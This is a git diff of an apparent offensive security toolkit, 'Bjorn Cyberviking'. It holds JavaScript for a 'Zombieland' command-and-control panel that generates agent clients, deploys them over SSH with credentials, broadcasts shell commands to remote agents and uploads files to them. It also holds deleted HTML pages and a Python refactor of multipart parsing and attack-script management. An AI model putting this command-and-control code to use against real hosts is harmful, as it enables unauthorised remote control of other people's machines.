'zl-ecg-counter-' + id }, [pres.delta != null ? Math.floor(pres.delta / 1000) + 's' : '--']), + ]), + el('div', { class: 'zl-card-actions' }, [ + el('button', { class: 'btn btn-sm btn-icon', 'data-action': 'shell', title: t('zombie.terminal') }, [el('i', { 'data-lucide': 'terminal' })]), + el('button', { class: 'btn btn-sm btn-icon', 'data-action': 'browse', title: t('zombie.fileBrowser') }, [el('i', { 'data-lucide': 'folder' })]), + el('button', { class: 'btn btn-sm btn-icon btn-danger', 'data-action': 'remove', title: t('zombie.removeAgent') }, [el('i', { 'data-lucide': 'x' })]), + ]), + ]); +} + +function createECG(id, colorClass, bpm) { + const ns = 'http://www.w3.org/2000/svg'; + const path = document.createElementNS(ns, 'path'); + path.setAttribute('d', bpm > 0 ? ECG_PQRST : ECG_FLAT); + const svg = document.createElementNS(ns, 'svg'); + svg.setAttribute('viewBox', '0 0 200 42'); + svg.setAttribute('preserveAspectRatio', 'none'); + svg.appendChild(path); + const wrapper = el('div', { class: 'ecg-wrapper', style: `animation-duration: ${bpm > 0 ? 72 / bpm : 3.2}s` }, [svg, svg.cloneNode(true), svg.cloneNode(true)]); + return el('div', { class: `ecg ${colorClass} ${bpm === 0 ? 'flat' : ''}`, id: 'zl-ecg-' + id }, [wrapper]); +} + +function updateStats() { + const now = Date.now(); + const all = Array.from(agents.values()); + const onlineAgents = all.filter(a => computePresence(a, now).status === 'online'); + $('#zl-stat-total').textContent = String(all.length); + $('#zl-stat-alive').textContent = String(onlineAgents.length); + const avgCPU = onlineAgents.length ? Math.round(onlineAgents.reduce((s, a) => s + (a.cpu || 0), 0) / onlineAgents.length) : 0; + const avgRAM = onlineAgents.length ? Math.round(onlineAgents.reduce((s, a) => s + (a.mem || 0), 0) / onlineAgents.length) : 0; + $('#zl-stat-avg-cpu').textContent = `${avgCPU}%`; + $('#zl-stat-avg-ram').textContent = `${avgRAM}%`; + const c2El = $('#zl-stat-c2'); + if (c2El) { + c2El.textContent = c2Running ? `${t('status.online')} :${c2Port || '?'}` : t('status.offline'); + c2El.className = `stat-value ${c2Running ? 'stat-online' : 'stat-offline'}`; + } +} + +/* ================================================================ + * Event Handlers + * ================================================================ */ + +function onAgentListClick(e) { + const card = e.target.closest('.zl-agent-card'); + if (!card) return; + const agentId = card.dataset.agentId; + const agent = agents.get(agentId); + + if (e.target.matches('.agent-checkbox')) { + if (e.target.checked) selectedAgents.add(agentId); + else selectedAgents.delete(agentId); + renderAgents(); + } else if (e.target.dataset.action) { + switch (e.target.dataset.action) { + case 'shell': focusGlobalConsole(agentId); break; + case 'browse': openFileBrowser(agentId); break; + case 'remove': onRemoveAgent(agentId, agent.hostname || agentId); break; + } + } +} + +function onSelectAll() { + document.querySelectorAll('.agent-checkbox').forEach(cb => { + selectedAgents.add(cb.dataset.agentId); + cb.checked = true; + }); + renderAgents(); +} + +function onDeselectAll() { + selectedAgents.clear(); + renderAgents(); +} + +function onSearch(e) { + searchTerm = (e.target.value || '').trim(); + syncSearchClearButton(); + renderAgents(); +} + +function clearSearch() { + const input = $('#zl-search'); + if (input) input.value = ''; + searchTerm = ''; + renderAgents(); + syncSearchClearButton(); +} + +function syncSearchClearButton() { + const clearBtn = $('.zl-search-clear'); + if (clearBtn) clearBtn.style.display = searchTerm.length > 0 ? 'inline-block' : 'none'; +} + +function onRefresh() { + const wasSseHealthy = sseHealthy; + sseHealthy = false; + refreshState().finally(() => { sseHealthy = wasSseHealthy; }); + toast(t('common.refreshed')); +} + +async function onStartC2() { + const port = prompt(L('zombie.enterC2Port', 'Enter C2 port'), '5555'); + if (!port) return; + try { + await api.post('/c2/start', { port: parseInt(port) }); + toast(t('zombie.c2StartedOnPort', { port }), 2600, 'success'); + await refreshState(); + } catch (err) { toast(t('zombie.failedStartC2'), 2600, 'error'); } +} + +async function onStopC2() { + if (!confirm(t('zombie.confirmStopC2'))) return; + try { + await api.post('/c2/stop'); + toast(t('zombie.c2Stopped'), 2600, 'warning'); + await refreshState(); + } catch (err) { toast(t('zombie.failedStopC2'), 2600, 'error'); } +} + +async function onCheckStale() { + try { + const result = await api.get('/c2/stale_agents?threshold=300'); + toast(`${result.count} stale agent(s) found (>5min)`); + systemLog('info', `Stale check: ${result.count} inactive >5min.`); + } catch (err) { toast('Failed to fetch stale agents', 'error'); } +} + +async function onPurgeStale() { + if (!confirm(t('zombie.confirmPurgeStale'))) return; + try { + const result = await api.post('/c2/purge_agents', { threshold: 86400 }); + toast(t('zombie.agentsPurged', { count: result.purged || 0 }), 2600, 'warning'); + await refreshState(); + } catch (err) { toast(t('zombie.failedPurgeStale'), 2600, 'error'); } +} + +function onGenerateClient() { + $('#generateModal').style.display = 'flex'; +} + +async function onConfirmGenerate() { + const clientId = $('#clientId').value.trim() || `zombie_${Date.now()}`; + const data = { + client_id: clientId, + platform: $('#clientPlatform').value, + lab_user: $('#labUser').value.trim(), + lab_password: $('#labPass').value.trim(), + }; + try { + const result = await api.post('/c2/generate_client', data); + toast(`Client ${clientId} generated`, 'success'); + if ($('#deploySSH').checked) { + await api.post('/c2/deploy', { + client_id: clientId, + ssh_host: $('#sshHost').value, + ssh_user: $('#sshUser').value, + ssh_pass: $('#sshPass').value, + lab_user: data.lab_user, + lab_password: data.lab_password, + }); + toast(`Deployment to ${$('#sshHost').value} started`); + } + $('#generateModal').style.display = 'none'; + if (result.filename) { + const a = el('a', { href: `/c2/download_client/${result.filename}`, download: result.filename }); + a.click(); + } + } catch (err) { toast(`Failed to generate: ${err.message}`, 'error'); } +} + +/* ================================================================ + * Console and Commands + * ================================================================ */ + +function consoleLog(type, message, target) { + const output = $('#zl-console-output'); if (!output) return; + const time = new Date().toLocaleTimeString('en-US', { hour12: false }); + if (typeof message === 'object') message = JSON.stringify(message, null, 2); + const line = el('div', { class: 'console-line' }, [ + el('span', { class: 'console-time' }, [time]), + el('span', { class: 'console-type ' + String(type).toLowerCase() }, [type]), + target ? el('span', { class: 'console-target' }, ['[' + target + ']']) : null, + el('div', { class: 'console-content' }, [el('pre', {}, [message])]), + ]); + output.appendChild(line); + output.scrollTop = output.scrollHeight; +} + +function systemLog(level, message) { + const output = $('#zl-logs-output'); if (!output) return; + const time = new Date().toLocaleTimeString('en-US', { hour12: false }); + output.appendChild(el('div', { class: 'zl-log-line' }, [ + el('span', { class: 'console-time' }, [time]), + el('span', { class: 'console-type ' + level.toLowerCase() }, [level.toUpperCase()]), + el('div', { class: 'zl-log-text' }, [message]), + ])); + output.scrollTop = output.scrollHeight; +} + +function clearConsole() { empty($('#zl-console-output')); } +function clearLogs() { empty($('#zl-logs-output')); } + +function onCmdKeyDown(e) { + if (e.key === 'Enter') onSendCommand(); + else if (e.key === 'ArrowUp') { + e.preventDefault(); + if (historyIndex > 0) { historyIndex--; e.target.value = commandHistory[historyIndex] || ''; } + } else if (e.key === 'ArrowDown') { + e.preventDefault(); + if (historyIndex < commandHistory.length - 1) { historyIndex++; e.target.value = commandHistory[historyIndex] || ''; } + else { historyIndex = commandHistory.length; e.target.value = ''; } + } +} + +async function onSendCommand() { + const input = $('#zl-cmd-input'); + const cmd = input.value.trim(); + if (!cmd) return; + const target = $('#zl-target-select').value; + let targets = []; + if (target === 'broadcast') { /* targets remains empty for broadcast */ } + else if (target === 'selected') { targets = Array.from(selectedAgents); } + else { targets = [target]; } + + if (target !== 'broadcast' && targets.length === 0) { + toast('No agents selected for command.', 'warning'); + return; + } + + await sendCommand(cmd, targets); + input.value = ''; +} + +async function sendCommand(command, targets = []) { + if (!command) return; + try { + const endpoint = targets.length === 0 ? '/c2/broadcast' : '/c2/command'; + const payload = targets.length === 0 ? { command } : { command, targets }; + consoleLog('TX', command, targets.length > 0 ? targets.join(',') : 'ALL'); + await api.post(endpoint, payload); + toast(t(targets.length === 0 ? 'zombie.commandBroadcasted' : 'zombie.commandSent'), 2600, 'success'); + commandHistory.push(command); + historyIndex = commandHistory.length; + } catch (err) { toast(t('zombie.failedSendCommand'), 2600, 'error'); systemLog('error', err.message); } +} + +async function onRemoveAgent(agentId, name) { + if (!confirm(t('zombie.confirmRemoveAgent', { name }))) return; + try { + await api.post('/c2/remove_client', { client_id: agentId }); + agents.delete(agentId); selectedAgents.delete(agentId); + renderAgents(); + toast(t('zombie.agentRemoved', { name }), 2600, 'warning'); + } catch (err) { toast(t('zombie.failedRemoveAgent', { name }), 2600, 'error'); } +} + +/* ================================================================ + * File Browser + * ================================================================ */ + +function openFileBrowser(agentId) { + const modal = $('#fileBrowserModal'); + modal.style.display = 'flex'; + modal.dataset.agentId = agentId; + $('#browserAgent').textContent = agentId; + $('#browserPath').value = '/'; + browseDirectory(); +} + +async function browseDirectory() { + const agentId = $('#fileBrowserModal').dataset.agentId; + const path = $('#browserPath').value || '/'; + const fileList = $('#fileList'); + empty(fileList); + fileList.textContent = 'Loading...'; + try { + await sendCommand(`ls -la ${path}`, [agentId]); + // The result will arrive via SSE and be handled by the 'console' event listener. + // For now, we assume it's coming to the main console. A better way would be a dedicated event. + // This is a limitation of the current design. We can refine it later. + toast('Browse command sent. Check console for output.'); + } catch (err) { + toast('Failed to send browse command', 'error'); + fileList.textContent = 'Error.'; + } +} + +function onUploadFile() { + const agentId = $('#fileBrowserModal').dataset.agentId; + const path = $('#browserPath').value || '/'; + const input = el('input', { + type: 'file', + onchange: (e) => { + const file = e.target.files[0]; + if (!file) return; + const reader = new FileReader(); + reader.onload = async (event) => { + const base64 = btoa(event.target.result); + const filePath = `${path.endsWith('/') ? path : path + '/'}${file.name}`; + try { + await sendCommand(`upload ${filePath} ${base64}`, [agentId]); + toast(`File ${file.name} upload started.`); + } catch { toast('Failed to upload file.', 'error'); } + }; + reader.readAsBinaryString(file); + } + }); + input.click(); +} + + +/* ================================================================ + * Helpers + * ================================================================ */ + +function updateTargetSelect() { + const select = $('#zl-target-select'); + if (!select) return; + const currentVal = select.value; + empty(select); + select.appendChild(el('option', { value: 'broadcast' }, [t('zombie.allAgents')])); + select.appendChild(el('option', { value: 'selected' }, [t('zombie.selectedAgents'), ` (${selectedAgents.size})`])); + const now = Date.now(); + for (const agent of agents.values()) { + if (computePresence(agent, now).status === 'online') { + select.appendChild(el('option', { value: agent.id }, [agent.hostname || agent.id])); + } + } + select.value = currentVal; // Preserve selection if possible +} + +function focusGlobalConsole(agentId) { + const sel = $('#zl-target-select'); + if (sel) sel.value = agentId; + $('#zl-cmd-input')?.focus(); +} + +function infoRow(label, value) { + return el('div', { class: 'zl-info-row' }, [el('span', { class: 'zl-info-label' }, [label + ':']), el('span', { class: 'zl-info-value' }, [value])]); +} + +function dedupeAgents(arr) { + const byHost = new Map(); + arr.forEach(a => { + const key = (a.hostname || '').trim().toLowerCase() || a.id; + const prev = byHost.get(key); + if (!prev || parseTs(a.last_seen) >= parseTs(prev.last_seen)) byHost.set(key, a); + }); + return Array.from(byHost.values()); +} + +function maxTimestamp(a, b) { + const ta = parseTs(a), tb = parseTs(b); + if (ta == null) return b; if (tb == null) return a; + return ta >= tb ? a : b; +} + +function parseTs(v) { + if (v == null) return NaN; + if (typeof v === 'number') return v; + return Date.parse(v); +} diff --git a/web/login.html b/web/login.html deleted file mode 100644 index f06129a..0000000 --- a/web/login.html +++ /dev/null @@ -1,324 +0,0 @@ - - - - - - Login - Bjorn - - - - - - - - - - - -
                              -
                              -

                              Bjorn Login

                              -
                              -
                              - -
                              -
                              - - 👁️ -
                              -
                              - - Always require authentication -
                              - -
                              -
                              - - - - diff --git a/web/loot.html b/web/loot.html deleted file mode 100644 index bd2ca17..0000000 --- a/web/loot.html +++ /dev/null @@ -1,649 +0,0 @@ - - - - - - Bjorn Cyberviking - Loot - - - - - - - - - - - - - - -
                              -
                              - -
                              -
                              👥0victims
                              -
                              📄0files
                              -
                              📁0folders
                              -
                              - - -
                              -
                              - 🔍 - - ❌ -
                              -
                              - - -
                              - -
                              -
                              Name
                              -
                              Type
                              -
                              Date
                              -
                              Asc
                              -
                              Desc
                              -
                              -
                              -
                              -
                              - -
                              - -
                              -
                              -
                              -
                              -
                              -
                              -
                              - - - - - diff --git a/web/manifest.json b/web/manifest.json index ad536a5..5bd0750 100644 --- a/web/manifest.json +++ b/web/manifest.json @@ -2,7 +2,7 @@ "name": "Bjorn Cyberviking", "short_name": "Bjorn", "description": "Bjorn Cyberviking", - "start_url": "/index.html", + "start_url": "/", "display": "standalone", "background_color": "#333", "theme_color": "#333", @@ -54,4 +54,4 @@ } ] } - \ No newline at end of file + diff --git a/web/netkb.html b/web/netkb.html deleted file mode 100644 index 237850a..0000000 --- a/web/netkb.html +++ /dev/null @@ -1,590 +0,0 @@ - - - - - - Bjorn Cyberviking – NetKB - - - - - - - - - - - - -
                              - -
                              -
                              - - -
                              - -
                              Type to filter. Esc to close.
                              -
                              - - -
                              - - - -
                              - - - -
                              -
                              - - -
                              -
                              -
                              -
                              -
                              - - - - diff --git a/web/network.html b/web/network.html deleted file mode 100644 index 9c62302..0000000 --- a/web/network.html +++ /dev/null @@ -1,981 +0,0 @@ - - - - - - Bjorn Cyberviking - Network Visualization - - - - - - - - - - - - - - - - - - - - - - - - - -
                              -
                              -
                              -
                              - -
                              -
                              -
                              -
                              - - - - -
                              - -
                              - - -
                              - - -
                              -
                              - -
                              -
                              -
                              -
                              -
                              - -
                              - - - - - \ No newline at end of file diff --git a/web/scheduler.html b/web/scheduler.html deleted file mode 100644 index 5e46cd3..0000000 --- a/web/scheduler.html +++ /dev/null @@ -1,1027 +0,0 @@ - - - - - - Bjorn – Action Scheduler - - - - - - - -
                              - -
                              - -
                              - - -
                              - - Live - Refresh - Focus active - Compact - Collapse - - + superseded - - — -
                              - -
                              -
                              - - -
                              -
                              -
                              -
                              History
                              -
                              -
                              - -
                              -
                              -
                              - Rows are color-coded by status. -
                              -
                              -
                              - - - - diff --git a/web/screen.png b/web/screen.png index 30842ad..e960729 100644 Binary files a/web/screen.png and b/web/screen.png differ diff --git a/web/vulnerabilities.html b/web/vulnerabilities.html deleted file mode 100644 index 3a12ff5..0000000 --- a/web/vulnerabilities.html +++ /dev/null @@ -1,1971 +0,0 @@ - - - - - - Bjorn Cyberviking - Vulnerability Dashboard - - - - - - - - - - - - -
                              - -
                              - -
                              Stats
                              -
                              - -
                              - -
                              - -
                              -
                              -
                              Total CVEs
                              -
                              0
                              -
                              -
                              -
                              Active
                              -
                              0
                              -
                              -
                              -
                              Remediated
                              -
                              0
                              -
                              -
                              -
                              Critical
                              -
                              0
                              -
                              -
                              -
                              Affected Hosts
                              -
                              0
                              -
                              -
                              -
                              -
                              - -
                              - -
                              -
                              - - -
                              -
                              - - - - - - -
                              -
                              - - -
                              -
                              - - - - -
                              -
                              - - -
                              - -
                              - - -
                              -
                              - - -
                              -
                              -
                              -
                              CVE Details
                              - -
                              -
                              - -
                              -
                              -
                              - - -
                              - - - - - - \ No newline at end of file diff --git a/web/web_enum.html b/web/web_enum.html deleted file mode 100644 index cbcfceb..0000000 --- a/web/web_enum.html +++ /dev/null @@ -1,768 +0,0 @@ - - - - - - Bjorn Cyberviking – WebEnum - - - - - - - - - - - - - - -
                              -
                              -
                              -

                              🔍 WebEnum

                              -
                              - -
                              - -
                              -
                              -
                              - - 🔍 -
                              - -
                              -
                              -
                              - - - - -
                              -
                              - - -
                              -
                              -
                              - - -
                              - -
                              -
                              -
                              Loading results...
                              -
                              - - -
                              -
                              - -
                              - - - - - - - - - - - - - - -
                              HostIPPortDirectoryStatusSizeScan DateActions
                              -
                              - -
                              -
                              -
                              - - -
                              -
                              - × -
                              -
                              -
                              -
                              - - - - - diff --git a/web/zombieland.html b/web/zombieland.html deleted file mode 100644 index 7873a8d..0000000 --- a/web/zombieland.html +++ /dev/null @@ -1,676 +0,0 @@ - - - - - - Bjorn Cyberviking – Zombieland C2C - - - - - - - - - - - - - - - - - - -
                              -
                              -
                              - -
                              - -
                              -
                              -
                              0
                              -
                              Total Agents
                              -
                              -
                              -
                              0
                              -
                              Online
                              -
                              -
                              -
                              0%
                              -
                              Avg CPU
                              -
                              -
                              -
                              0%
                              -
                              Avg RAM
                              -
                              -
                              -
                              -
                              -
                              C2 Port
                              -
                              -
                              - - -
                              -
                              -
                              - - - - - - - -
                              -
                              -
                              - -
                              - - -
                              - - -
                              - - -
                              -
                              -
                              -

                              - - Zombieland C2 -

                              - Offline -
                              - -
                              - - -
                              - - - -
                              - -
                              -
                              -
                              -

                              Console

                              -
                              -
                              - - - - - -
                              - -
                              -
                              - -
                              -
                              -
                              - ~ - - - -
                              -
                              -
                              -
                              - - -
                              -
                              -

                              Agents (0)

                              -
                              - - -
                              -
                              -
                              -
                              -
                              - - -
                              -
                              -

                              System Logs

                              - -
                              -
                              -
                              -
                              - - -
                              -
                              -

                              Generate New Client

                              -
                              -
                              - - -
                              -
                              - - -
                              -
                              - -
                              - - -
                              -
                              -
                              -

                              Deploy Options

                              -
                              - -
                              - - - -
                              -
                              -
                              -
                              -
                              - - -
                              -
                              -
                              - - -
                              -
                              -

                              File Browser -

                              -
                              -
                              - - - -
                              -
                              -
                              -
                              - -
                              -
                              -
                              - -
                              - - - - diff --git a/web_utils/action_utils.py b/web_utils/action_utils.py index 573d47c..50f2896 100644 --- a/web_utils/action_utils.py +++ b/web_utils/action_utils.py @@ -17,7 +17,6 @@ This file merges previous modules: from __future__ import annotations import ast -import cgi import io import json import os @@ -38,6 +37,86 @@ from logger import Logger # Single shared logger for the whole file logger = Logger(name="action_utils.py", level=logging.DEBUG) + + +# --- Multipart form helpers (replaces cgi module removed in Python 3.13) --- +def _parse_header(line): + parts = line.split(';') + key = parts[0].strip() + pdict = {} + for p in parts[1:]: + if '=' in p: + k, v = p.strip().split('=', 1) + pdict[k.strip()] = v.strip().strip('"') + return key, pdict + + +class _FormField: + __slots__ = ('name', 'filename', 'file', 'value') + def __init__(self, name, filename=None, data=b''): + self.name = name + self.filename = filename + if filename: + self.file = BytesIO(data) + self.value = data + else: + self.value = data.decode('utf-8', errors='replace').strip() + self.file = None + + +class _MultipartForm: + """Minimal replacement for _MultipartForm.""" + def __init__(self, fp, headers, environ=None, keep_blank_values=False): + import re as _re + self._fields = {} + ct = headers.get('Content-Type', '') if hasattr(headers, 'get') else '' + _, params = _parse_header(ct) + boundary = params.get('boundary', '').encode() + if hasattr(fp, 'read'): + cl = headers.get('Content-Length') if hasattr(headers, 'get') else None + body = fp.read(int(cl)) if cl else fp.read() + else: + body = fp + for part in body.split(b'--' + boundary)[1:]: + part = part.strip(b'\r\n') + if part == b'--' or not part: + continue + sep = b'\r\n\r\n' if b'\r\n\r\n' in part else b'\n\n' + if sep not in part: + continue + hdr, data = part.split(sep, 1) + hdr_s = hdr.decode('utf-8', errors='replace') + nm = _re.search(r'name="([^"]*)"', hdr_s) + fn = _re.search(r'filename="([^"]*)"', hdr_s) + if not nm: + continue + name = nm.group(1) + filename = fn.group(1) if fn else None + field = _FormField(name, filename, data) + if name in self._fields: + existing = self._fields[name] + if isinstance(existing, list): + existing.append(field) + else: + self._fields[name] = [existing, field] + else: + self._fields[name] = field + + def __contains__(self, key): + return key in self._fields + + def __getitem__(self, key): + return self._fields[key] + + def getvalue(self, key, default=None): + if key not in self._fields: + return default + f = self._fields[key] + if isinstance(f, list): + return [x.value for x in f] + return f.value + + ALLOWED_IMAGE_EXTS = {'.bmp', '.png', '.jpg', '.jpeg', '.gif', '.ico', '.webp'} @@ -169,7 +248,12 @@ class ActionUtils: except Exception: font = ImageFont.load_default() - tw, th = draw.textsize(text, font=font) + try: + bbox = draw.textbbox((0, 0), text, font=font) + tw = bbox[2] - bbox[0] + th = bbox[3] - bbox[1] + except AttributeError: + tw, th = draw.textsize(text, font=font) draw.text(((size - tw) / 2, (size - th) / 2), text, fill=ring_color, font=font) out = BytesIO() @@ -197,10 +281,16 @@ class ActionUtils: def serve_bjorn_character(self, handler): try: - # Convertir l'image PIL en bytes + # Fallback robust: use current character sprite, or static default "bjorn1" + img = self.shared_data.bjorn_character or getattr(self.shared_data, 'bjorn1', None) + + if img is None: + raise ValueError("No character image (bjorn_character or bjorn1) available") + img_byte_arr = io.BytesIO() - self.shared_data.bjorn_character.save(img_byte_arr, format='PNG') + img.save(img_byte_arr, format='PNG') img_byte_arr = img_byte_arr.getvalue() + handler.send_response(200) handler.send_header('Content-Type', 'image/png') handler.send_header('Cache-Control', 'no-cache') @@ -221,11 +311,16 @@ class ActionUtils: handler.send_header("Content-Type", "application/json") handler.end_headers() handler.wfile.write(json.dumps(bjorn_says_data).encode('utf-8')) + except BrokenPipeError: + pass except Exception as e: - handler.send_response(500) - handler.send_header("Content-Type", "application/json") - handler.end_headers() - handler.wfile.write(json.dumps({"status": "error", "message": str(e)}).encode('utf-8')) + try: + handler.send_response(500) + handler.send_header("Content-Type", "application/json") + handler.end_headers() + handler.wfile.write(json.dumps({"status": "error", "message": str(e)}).encode('utf-8')) + except BrokenPipeError: + pass def create_action(self, handler): """ @@ -246,7 +341,7 @@ class ActionUtils: content_length = int(handler.headers.get("Content-Length", 0)) body = handler.rfile.read(content_length) - form = cgi.FieldStorage( + form = _MultipartForm( fp=BytesIO(body), headers=handler.headers, environ={"REQUEST_METHOD": "POST"}, @@ -299,12 +394,15 @@ class ActionUtils: meta.setdefault("b_module", module_name) self.shared_data.db.upsert_simple_action(**meta) - def delete_action(self, handler): + def delete_action(self, handler, data=None): """Delete action: python script + images + comment section.""" try: - content_length = int(handler.headers.get("Content-Length", 0)) - body = handler.rfile.read(content_length) if content_length > 0 else b"{}" - data = json.loads(body) + if data is None: + content_length = int(handler.headers.get("Content-Length", 0)) + body = handler.rfile.read(content_length) if content_length > 0 else b"{}" + data = json.loads(body) + elif not isinstance(data, dict): + raise ValueError("Invalid JSON payload") action_name = (data.get("action_name") or "").strip() if not action_name: @@ -518,6 +616,8 @@ class ActionUtils: handler.send_header("Content-Length", str(len(content))) handler.end_headers() handler.wfile.write(content) + except BrokenPipeError: + pass except Exception as e: self.logger.error(f"serve_status_image: {e}") handler.send_error(500, "Internal Server Error") @@ -545,13 +645,13 @@ class ActionUtils: def upload_static_image(self, handler): """Upload a static image; store as BMP. Optional manual size via flags.""" try: - ctype, pdict = cgi.parse_header(handler.headers.get("Content-Type")) + ctype, pdict = _parse_header(handler.headers.get("Content-Type")) if ctype != "multipart/form-data": raise ValueError("Content-Type must be multipart/form-data") pdict["boundary"] = bytes(pdict["boundary"], "utf-8") pdict["CONTENT-LENGTH"] = int(handler.headers.get("Content-Length")) - form = cgi.FieldStorage( + form = _MultipartForm( fp=BytesIO(handler.rfile.read(pdict["CONTENT-LENGTH"])), headers=handler.headers, environ={"REQUEST_METHOD": "POST"}, @@ -674,10 +774,13 @@ class ActionUtils: self._send_error(handler, str(e)) - def rename_image(self, handler): + def rename_image(self, handler, data=None): """Rename a static image, an action image, or an action folder.""" try: - data = json.loads(handler.rfile.read(int(handler.headers["Content-Length"])).decode("utf-8")) + if data is None: + data = json.loads(handler.rfile.read(int(handler.headers["Content-Length"])).decode("utf-8")) + elif not isinstance(data, dict): + raise ValueError("Invalid JSON payload") entity_type = data.get("type") # 'action' | 'static' | 'image' old_name = data.get("old_name") new_name = data.get("new_name") @@ -731,15 +834,15 @@ class ActionUtils: self._send_error(handler, str(e)) def replace_image(self, h): - import cgi + try: - ctype, pdict = cgi.parse_header(h.headers.get('Content-Type')) + ctype, pdict = _parse_header(h.headers.get('Content-Type')) if ctype != 'multipart/form-data': raise ValueError('Content-Type must be multipart/form-data') pdict['boundary'] = bytes(pdict['boundary'], 'utf-8') pdict['CONTENT-LENGTH'] = int(h.headers.get('Content-Length')) - form = cgi.FieldStorage( + form = _MultipartForm( fp=BytesIO(h.rfile.read(pdict['CONTENT-LENGTH'])), headers=h.headers, environ={'REQUEST_METHOD': 'POST'}, @@ -819,13 +922,13 @@ class ActionUtils: Creates the action folder if it doesn't exist. """ try: - ctype, pdict = cgi.parse_header(handler.headers.get("Content-Type")) + ctype, pdict = _parse_header(handler.headers.get("Content-Type")) if ctype != "multipart/form-data": raise ValueError("Content-Type must be multipart/form-data") pdict["boundary"] = bytes(pdict["boundary"], "utf-8") pdict["CONTENT-LENGTH"] = int(handler.headers.get("Content-Length")) - form = cgi.FieldStorage( + form = _MultipartForm( fp=BytesIO(handler.rfile.read(pdict["CONTENT-LENGTH"])), headers=handler.headers, environ={"REQUEST_METHOD": "POST"}, @@ -867,13 +970,13 @@ class ActionUtils: Always resized to 78x78 BMP. """ try: - ctype, pdict = cgi.parse_header(handler.headers.get("Content-Type")) + ctype, pdict = _parse_header(handler.headers.get("Content-Type")) if ctype != "multipart/form-data": raise ValueError("Content-Type must be multipart/form-data") pdict["boundary"] = bytes(pdict["boundary"], "utf-8") pdict["CONTENT-LENGTH"] = int(handler.headers.get("Content-Length")) - form = cgi.FieldStorage( + form = _MultipartForm( fp=BytesIO(handler.rfile.read(pdict["CONTENT-LENGTH"])), headers=handler.headers, environ={"REQUEST_METHOD": "POST"}, @@ -1117,6 +1220,8 @@ class ActionUtils: handler.send_header("Content-Type", "image/bmp" if full.lower().endswith(".bmp") else "image/jpeg") handler.end_headers() handler.wfile.write(data) + except BrokenPipeError: + pass except Exception as e: self.logger.error(f"serve_static_image: {e}") handler.send_response(404) @@ -1175,10 +1280,13 @@ class ActionUtils: handler.send_response(404) handler.end_headers() - def create_character(self, handler): + def create_character(self, handler, data=None): """Create a new character by copying current character's images.""" try: - data = json.loads(handler.rfile.read(int(handler.headers["Content-Length"])).decode("utf-8")) + if data is None: + data = json.loads(handler.rfile.read(int(handler.headers["Content-Length"])).decode("utf-8")) + elif not isinstance(data, dict): + raise ValueError("Invalid JSON payload") name = (data.get("character_name") or "").strip() if not name: raise ValueError("character_name is required") @@ -1193,10 +1301,13 @@ class ActionUtils: self.logger.error(f"create_character: {e}") self._send_error(handler, str(e)) - def switch_character(self, handler): + def switch_character(self, handler, data=None): """Switch character: persist current images, load selected images as active.""" try: - data = json.loads(handler.rfile.read(int(handler.headers["Content-Length"])).decode("utf-8")) + if data is None: + data = json.loads(handler.rfile.read(int(handler.headers["Content-Length"])).decode("utf-8")) + elif not isinstance(data, dict): + raise ValueError("Invalid JSON payload") target = (data.get("character_name") or "").strip() if not target: raise ValueError("character_name is required") @@ -1230,10 +1341,13 @@ class ActionUtils: self.logger.error(f"switch_character: {e}") self._send_error(handler, str(e)) - def delete_character(self, handler): + def delete_character(self, handler, data=None): """Delete a character; if it's the current one, switch back to BJORN first.""" try: - data = json.loads(handler.rfile.read(int(handler.headers["Content-Length"])).decode("utf-8")) + if data is None: + data = json.loads(handler.rfile.read(int(handler.headers["Content-Length"])).decode("utf-8")) + elif not isinstance(data, dict): + raise ValueError("Invalid JSON payload") name = (data.get("character_name") or "").strip() if not name: raise ValueError("character_name is required") @@ -1519,12 +1633,15 @@ class ActionUtils: self._send_error_response(handler, str(e)) - def set_action_enabled(self, handler): + def set_action_enabled(self, handler, data=None): """Body: { action_name: str, enabled: 0|1 }""" try: - length = int(handler.headers.get('Content-Length', 0)) - body = handler.rfile.read(length) if length else b'{}' - data = json.loads(body or b'{}') + if data is None: + length = int(handler.headers.get('Content-Length', 0)) + body = handler.rfile.read(length) if length else b'{}' + data = json.loads(body or b'{}') + elif not isinstance(data, dict): + raise ValueError("Invalid JSON payload") action_name = (data.get('action_name') or '').strip() enabled = 1 if int(data.get('enabled', 0)) else 0 @@ -1539,6 +1656,15 @@ class ActionUtils: if not rowcount: raise ValueError(f"Action '{action_name}' not found (b_class)") + # Best-effort sync to actions_studio when present. + try: + self.shared_data.db.execute( + "UPDATE actions_studio SET b_enabled = ?, updated_at = CURRENT_TIMESTAMP WHERE b_class = ?;", + (enabled, action_name) + ) + except Exception as e: + self.logger.debug(f"set_action_enabled studio sync skipped for {action_name}: {e}") + out = {"status": "success", "action_name": action_name, "enabled": enabled} handler.send_response(200) handler.send_header('Content-Type', 'application/json') @@ -1579,7 +1705,7 @@ class ActionUtils: if 'multipart/form-data' not in ctype: raise ValueError("Content-Type must be multipart/form-data.") - form = cgi.FieldStorage(fp=handler.rfile, headers=handler.headers, environ={'REQUEST_METHOD': 'POST'}) + form = _MultipartForm(fp=handler.rfile, headers=handler.headers, environ={'REQUEST_METHOD': 'POST'}) if 'attack_file' not in form: raise ValueError("No attack_file field in form.") @@ -1614,11 +1740,14 @@ class ActionUtils: self.logger.error(f"Error importing attack: {e}") self._send_error_response(handler, str(e)) - def remove_attack(self, handler): + def remove_attack(self, handler, data=None): """Remove an attack (file + DB row).""" try: - body = handler.rfile.read(int(handler.headers.get('Content-Length', 0)) or 0) - data = json.loads(body or "{}") + if data is None: + body = handler.rfile.read(int(handler.headers.get('Content-Length', 0)) or 0) + data = json.loads(body or "{}") + elif not isinstance(data, dict): + raise ValueError("Invalid JSON payload") attack_name = (data.get("name") or "").strip() if not attack_name: raise ValueError("Attack name not provided.") @@ -1638,11 +1767,14 @@ class ActionUtils: self.logger.error(f"Error removing attack: {e}") self._send_error_response(handler, str(e)) - def save_attack(self, handler): + def save_attack(self, handler, data=None): """Save/update attack source code and refresh DB metadata if b_class changed.""" try: - body = handler.rfile.read(int(handler.headers.get('Content-Length', 0)) or 0) - data = json.loads(body or "{}") + if data is None: + body = handler.rfile.read(int(handler.headers.get('Content-Length', 0)) or 0) + data = json.loads(body or "{}") + elif not isinstance(data, dict): + raise ValueError("Invalid JSON payload") attack_name = (data.get('name') or '').strip() content = data.get('content') or "" if not attack_name or not content: @@ -1675,11 +1807,14 @@ class ActionUtils: self.logger.error(f"Error saving attack: {e}") self._send_error_response(handler, str(e)) - def restore_attack(self, handler): + def restore_attack(self, handler, data=None): """Restore an attack from default_actions_dir and re-upsert metadata.""" try: - body = handler.rfile.read(int(handler.headers.get('Content-Length', 0)) or 0) - data 